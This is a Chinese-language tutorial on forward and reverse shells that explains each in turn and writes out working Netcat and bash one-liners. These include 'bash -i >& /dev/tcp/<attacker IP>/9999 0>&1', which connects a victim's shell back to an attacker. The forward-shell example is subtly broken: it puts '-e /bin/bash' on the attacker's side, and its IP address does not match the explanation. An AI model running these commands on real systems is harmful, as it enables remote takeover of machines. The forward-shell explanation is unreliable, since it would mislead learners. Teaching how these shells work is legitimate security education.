网络安全之反弹Shell

发布于:2024-04-19 ⋅ 阅读:(18) ⋅ 点赞:(0)

网络安全之反弹Shell

在网络安全和渗透测试领域,“正向Shell”(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

正向Shell(Forward Shell)

概念

在正向Shell的场景中,攻击者机器作为客户端,主动连接到受害者机器上事先设置好的监听端口。这种方式通常要求受害者机器在外网上具有可访问的开放端口,或者在内网中能够被攻击者机器直接访问。
这种方法的局限性在于,如果受害者机器位于防火墙后或没有公网IP,攻击者可能无法直接连接到受害者机器的监听端口上。
● 攻击者在受害者机器系统上设置一个在特定端口上监听的服务(比如一个Web服务器)。
● 攻击者从自己的机器上,使用一个客户端工具(如Netcat)主动连接到受害者机器的这个服务上。
一旦建立了连接,攻击者就可以通过这个会话向受害者机器发送命令并接收执行结果。

正向Shell示例

● 攻击者在受害者机器上设置监听,使用Netcat监听某个端口

nc -lvnp 9999

参数的含义:
● l 代表监听模式
● v 代表详细输出
● n 代表不解析主机名
● p 指定使用的端口

  • 攻击者机器主动连接受害者机器
nc 192.168.0.106 9999 -e /bin/bash

这个命令具体是用来建立一个网络连接,并在连接成功后执行一个指定的程序(在这种情况下是 /bin/bash)。

● nc: 这是 Netcat 的命令行工具调用指令,用于启动 Netcat 程序
● 192.168.0.105: 这是受害者机器的 IP 地址,即 Netcat 尝试连接的远程计算机的地址。这个 IP 地址应该替换为实际想要连接的服务器或计算机的 IP 地址。
● 9999: 这是受害者机器上 Netcat 监听的端口号。在执行这个命令之前,受害者机器上应该有一个 Netcat 进程在此端口上监听进入的连接。
● -e /bin/bash: 这个选项是 Netcat 命令的一个参数,用于指定在建立连接后立即执行的程>序。/bin/bash 是一个 Shell,提供了一个命令行界面,允许用户执行各种命令。
● -e 参数告诉 Netcat,一旦连接建立,就执行指定的程序。这里指定的 /bin/bash 将会启动一个 bash shell。

反向Shell(Reverse Shell)

概念

反向Shell的工作方式与正向Shell相反。在这种场景中,是受害者机器主动连接到攻击者的机器上。攻击者首先在自己的机器上设置一个监听特定端口的服务,然后诱使受害者机器执行一个命令或脚本,使其主动连接回攻击者的监听端口。
● 攻击者在自己的机器上使用Netcat等工具监听一个端口(例如 nc -lvvp 9999)。
● 攻击者诱使受害者机器执行一个反向Shell脚本或命令,该脚本配置目标机器连接回攻击者机器的监听端口(例如使用bash、Python等语言编写的脚本)。
● 一旦受害者机器执行了该脚本,它就会主动连接到攻击者的监听端口,从而允许攻击者通过这个会话执行命令。

反向Shell示例

● 攻击者机器上先开启监听端口

nc -lvvp 9999

● 受害者机器上再执行bash命令

bash -i >& /dev/tcp/192.168.0.105/9999 0>&1

它的作用是在受害者的机器上执行,以建立一个从受害者机器到攻击者机器的连接,并通过这个连接提供一个交互式Shell会话。如下是详细解释:

● bash -i:启动一个交互式的bash会话。-i参数使bash在交互模式下运行,允许用户输入命令。
● >&:这是重定向操作符,用于将标准输出(STDOUT)重定向到另一个位置。在这个命令中,它被用来将bash会话的输出重定向到网络连接上。
● /dev/tcp/192.168.0.105/9999:这是一个特殊的文件路径,利用bash的内置功能来创建TCP连接。/dev/tcp/<目标IP>/<目标端口>用于建立到指定IP地址和端口的TCP连接。在这个例子中,它尝试连接到IP地址192.168.0.105上的9999端口。
● 0>&1:这是另一个重定向操作符,用于将标准输入(STDIN)重定向到标准输出(STDOUT)。在这个上下文中,它的作用是确保从网络连接收到的输入(例如,攻击者发送的命令)被bash会话读取并执行。

当这条命令在受害者机器上执行时,它会尝试连接到攻击者指定的IP地址192.168.0.105和端口9999上。一旦连接建立,攻击者就可以通过这个连接发送命令,受害者的bash会话将执行这些命令并将输出发送回攻击者,从而允许攻击者远程控制受害者的机器。

反向Shell的优势在于,即使目标机器位于NAT或防火墙后面,只要它能够出站到互联网,就能建立连接。这使得反向Shell成为绕过访问控制,实现远程命令执行的一种非常有效的手段。